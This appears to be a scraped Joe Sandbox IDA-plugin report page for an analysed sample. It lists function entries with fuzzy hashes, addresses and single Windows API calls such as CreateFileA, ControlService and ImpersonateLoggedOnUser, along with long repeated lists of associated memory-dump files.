Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c90000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 7ff19b1f097a3c6f78b1b7d5a9dea6c1419f4c51a3714dd945e8f22de442962b
Instruction ID: a8531330f213814f2020b108e6f3fa4f36419b10684477b87b6c996fcee50ce1
Opcode Fuzzy Hash: 7ff19b1f097a3c6f78b1b7d5a9dea6c1419f4c51a3714dd945e8f22de442962b
Instruction Fuzzy Hash: 452127B6C012199FCF50CF9AD984ADEFBF5FF88710F14815AD918AB204D774A944CBA4

Function 00919A25 Relevance: 1.6, APIs: 1, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?), ref: 00919A80

Memory Dump Source

Source File: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b8f5a23a764e5f0e57648547661a4b50d233afd2964d2693349fe34c83177eba
Instruction ID: ddeef4fca8b5f386e16c587f5c69a182c15cdf770d48f2a84ff03b36b453d453
Opcode Fuzzy Hash: b8f5a23a764e5f0e57648547661a4b50d233afd2964d2693349fe34c83177eba
Instruction Fuzzy Hash: 0401D1E674815B6CA600D6241E70EFA576CEBD5B21770C85AF802CA142E2184ECD9170

Function 04C91509 Relevance: 1.6, APIs: 1, Instructions: 54serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 04C91580

Memory Dump Source

Source File: 00000003.00000002.2555323304.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c90000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 79ab46f36fb1195edff849dd64e4a26c3784f024e6ed572b6db15a3c06f5f61d
Instruction ID: 4118aef2c76a79e501bc689e0250fc85739ef146f5d5252c27227e075a8b33ad
Opcode Fuzzy Hash: 79ab46f36fb1195edff849dd64e4a26c3784f024e6ed572b6db15a3c06f5f61d
Instruction Fuzzy Hash: 442100B59002499FDB10CF9AC584ADEBBF5EB48320F14802AE519A7250C778AA44CFA5

Function 04C91510 Relevance: 1.6, APIs: 1, Instructions: 54serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 04C91580

Memory Dump Source

Source File: 00000003.00000002.2555323304.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c90000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 8a7cfc16652154b46c0d87cc709b48e90113399a8dfe485b02a0a76a9ff64ef0
Instruction ID: f1033b656a6d57c4622d4ffd862e24b8a3c83b224704b298efcc1481af7d8ec6
Opcode Fuzzy Hash: 8a7cfc16652154b46c0d87cc709b48e90113399a8dfe485b02a0a76a9ff64ef0
Instruction Fuzzy Hash: E311E2B5D002499FDB10CF9AC585BDEFBF4EF48320F14806AE959A3250D778AA44CFA5

Function 04C91301 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04C91367

Memory Dump Source

Source File: 00000003.00000002.2555323304.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c90000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 6b62b3ae034f7c51354baa524a13cb00712329b9cc5a2c56f460f970fc80e68b
Instruction ID: 96a9f8e2a6827695e64df1979b92c34beaa8a2c060c8ed96e3daeccca8febfc6
Opcode Fuzzy Hash: 6b62b3ae034f7c51354baa524a13cb00712329b9cc5a2c56f460f970fc80e68b
Instruction Fuzzy Hash: ED1125B190024ACFDB10DF9AC545BEEFBF4EF48320F14845AD558A3240D778A945CFA5

Function 04C91308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04C91367

Memory Dump Source

Source File: 00000003.00000002.2555323304.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c90000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: f9cb171b01f3d5be3989bc411942286abe1d74950c4df58089ca35b70844ac58
Instruction ID: 1ede185aefba9e63a098b7f93ea053076da33796b31aeb7de9240a7fc810c5f9
Opcode Fuzzy Hash: f9cb171b01f3d5be3989bc411942286abe1d74950c4df58089ca35b70844ac58
Instruction Fuzzy Hash: 8D1103B1800249CFDB10DF9AC549BEEFBF8EF48320F24846AD558A3650D778A944CFA5

Function 00919A0D Relevance: 1.5, APIs: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,?,?), ref: 00919A80

Memory Dump Source

Source File: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b7e0a3394d63a0fbdbed4377ac40d498bb0fe5e237b8a7f65571e4ff10e111e2
Instruction ID: 5801b7f80917e28347cde24efff6eed1c17dd8b2db45aacc64f352106a5e23eb
Opcode Fuzzy Hash: b7e0a3394d63a0fbdbed4377ac40d498bb0fe5e237b8a7f65571e4ff10e111e2
Instruction Fuzzy Hash: FAF0A26AB4C25F2CEB01C9304C30BFE23589F80311B30884AE902CF0D2C2080ACC8A82

Function 00919A73 Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,?,?), ref: 00919A80

Memory Dump Source

Source File: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c277943ae5016b85417ba5905538d0270cd996ff2a87b1373e6c0371741807a6
Instruction ID: ef694adc0510847bf879bd1eb52b3343645c120b8b9025d459b54cd3cce81822
Opcode Fuzzy Hash: c277943ae5016b85417ba5905538d0270cd996ff2a87b1373e6c0371741807a6
Instruction Fuzzy Hash: 29E0DF763AC2AB2CE611D6757E31BFD2B18DFC3321F308826F595DA0C3C244048E4224

Function 00919C0B Relevance: 1.5, APIs: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(C77232F3,00919B82,00000003,00000000,00000003), ref: 00919C60

Memory Dump Source

Source File: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a3b9e9fddec174753a09c42ad6022da80aa96b8862538f77c0871c4d9ff34b8c
Instruction ID: aa4c9fd74c1c4e2b5decf1f6acbb4e2491f81c912a56c325e30cbe0267ebd80d
Opcode Fuzzy Hash: a3b9e9fddec174753a09c42ad6022da80aa96b8862538f77c0871c4d9ff34b8c
Instruction Fuzzy Hash: E3E0E5733480AF19D7428AAD4BB1BFE6AE9D793372F100015E5CECB182C590088517E4

Function 00919C3F Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(C77232F3,00919B82,00000003,00000000,00000003), ref: 00919C60

Memory Dump Source

Source File: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
